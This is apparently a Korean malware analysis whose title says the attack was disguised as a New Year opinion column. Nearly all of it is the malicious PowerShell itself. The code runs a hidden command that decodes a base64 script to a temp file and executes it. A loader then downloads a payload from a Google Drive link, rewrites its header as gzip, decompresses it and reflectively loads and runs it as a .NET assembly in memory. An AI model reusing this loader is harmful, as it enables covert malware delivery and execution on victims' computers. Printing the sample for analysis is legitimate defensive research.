새해 오피니언 언론 칼럼 위장 해킹 분석

/c powershell -windowstyle hidden -nop -NoProfile -NonInteractive -c "$vnsonafoncoaefwe =\"BASE64\";$bvoasnoncoecaew = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($vnsonafoncoaefwe));$pvjpsadpocepncae = [System.IO.Path]::GetTempPath();$vncbibciwscACd = \"zcnodcnewf\"+(Get-Random) + '.ps1';$nvbiabsiudmnacose = Join-Path $pvjpsadpocepncae $vncbibciwscACd;$bvoasnoncoecaew | Out-File -FilePath $nvbiabsiudmnacose;&$nvbiabsiudmnacose"

function GzExtract

{[CmdletBinding()] Param ([Parameter(Position = 0, Mandatory = $True)] [byte[]] $byteArray = $(Throw("-byteArray is required")) ); Process { $input = New-Object System.IO.MemoryStream(, $byteArray );$output = New-Object System.IO.MemoryStream;$gzipStream = New-Object System.IO.Compression.GzipStream $input, ([IO.Compression.CompressionMode]::Decompress);$gzipStream.CopyTo( $output );$gzipStream.Close();$input.Close();[byte[]] $byteOutArray = $output.ToArray();return $byteOutArray;}}

Add-type -Assembly System.Drawing;
Add-Type -Assembly System.Windows.Forms;
Add-Type -Assembly PresentationCore;
Add-Type -AssemblyName System.Windows.Forms;
Add-type -AssemblyName System.Drawing;

$tempPath = [System.IO.Path]::GetTempPath();
$vncbibciwscACd = "\swolf-data";
$filePath = Join-Path $tempPath $vncbibciwscACd;
Invoke-WebRequest -Uri "https://drive.google.com/uc?export=download&id=1Y(일부생략)DN" -o "$filePath"

[byte[]]$bytes = [System.IO.File]::ReadAllBytes($filePath);
$bytes[0] = 0x1F;
$bytes[1] = 0x8B;
$bytes[2] = 0x08;
$bytes[3] = 0x00;
$bytes[4] = 0x00;
$bytes[5] = 0x00;
$bytes[6] = 0x00;

$length = $bytes.Length;
[byte[]]$exBytes = GzExtract ($bytes);
$length = $exBytes.Length;
$assembly = [System.Reflection.Assembly]::Load($exBytes);
$name = "Main";
foreach ($type in $assembly.GetTypes()){foreach ($method in $type.GetMethods()){if (($method.Name.ToLower()).equals($name.ToLower())){$method.Invoke($null, @());}}}